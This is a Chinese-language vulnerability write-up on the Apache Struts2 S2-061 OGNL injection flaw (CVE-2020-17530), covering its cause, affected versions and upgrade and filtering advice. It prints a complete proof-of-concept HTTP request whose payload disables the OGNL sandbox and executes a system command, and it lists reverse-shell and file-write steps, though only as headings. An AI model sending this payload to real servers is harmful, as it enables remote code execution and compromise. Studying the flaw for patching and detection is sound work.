溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析

發(fā)布時(shí)間:2021-12-28 20:33:43 來源:億速云 閱讀:221 作者:柒染 欄目:安全技術(shù)

今天就跟大家聊聊有關(guān)Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

漏洞描述

Apache Struts2框架是一個(gè)用于開發(fā)Java EE網(wǎng)絡(luò)應(yīng)用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-17530),在使用某些tag等情況下可能存在OGNL表達(dá)式注入漏洞,從而造成遠(yuǎn)程代碼執(zhí)行,風(fēng)險(xiǎn)極大。本次漏洞是對S2-059漏洞修復(fù)后的繞過。S2-059的修復(fù)補(bǔ)丁僅修復(fù)了沙盒繞過,但是并沒有修復(fù)OGNL表達(dá)式的執(zhí)行。但是在最新版本2.5.26版本中OGNL表達(dá)式的執(zhí)行也修復(fù)了。

此次漏洞只是S2-059修復(fù)的一個(gè)繞過,并且本次利用的核心類org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依賴包中并沒有包含這個(gè)包。所以即使掃到了支持OGNL表達(dá)式的注入點(diǎn),但是如果沒有使用這個(gè)依賴包,也還是沒辦法進(jìn)行利用。

漏洞復(fù)現(xiàn)

poc

GET /?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))} HTTP/1.1
Host: ip:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

讀取id
Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析

寫文件

Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析

Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析

測試dnslog

Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析

反彈shell

Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析

影響版本

Apache Struts 2.0.0 - 2.5.25

安全建議

(1)將Apache Struts框架升級至最新版本。

(2)或者開啟ONGL表達(dá)式注入保護(hù)措施,過濾%{}表達(dá)式

(3)在部署環(huán)境時(shí)建議使用最小化部署,使用最小包進(jìn)行部署,避免出現(xiàn)漏洞。

看完上述內(nèi)容,你們對Apache Struts2-61遠(yuǎn)程代碼執(zhí)行CVE-2020-17530漏洞的示例分析有進(jìn)一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI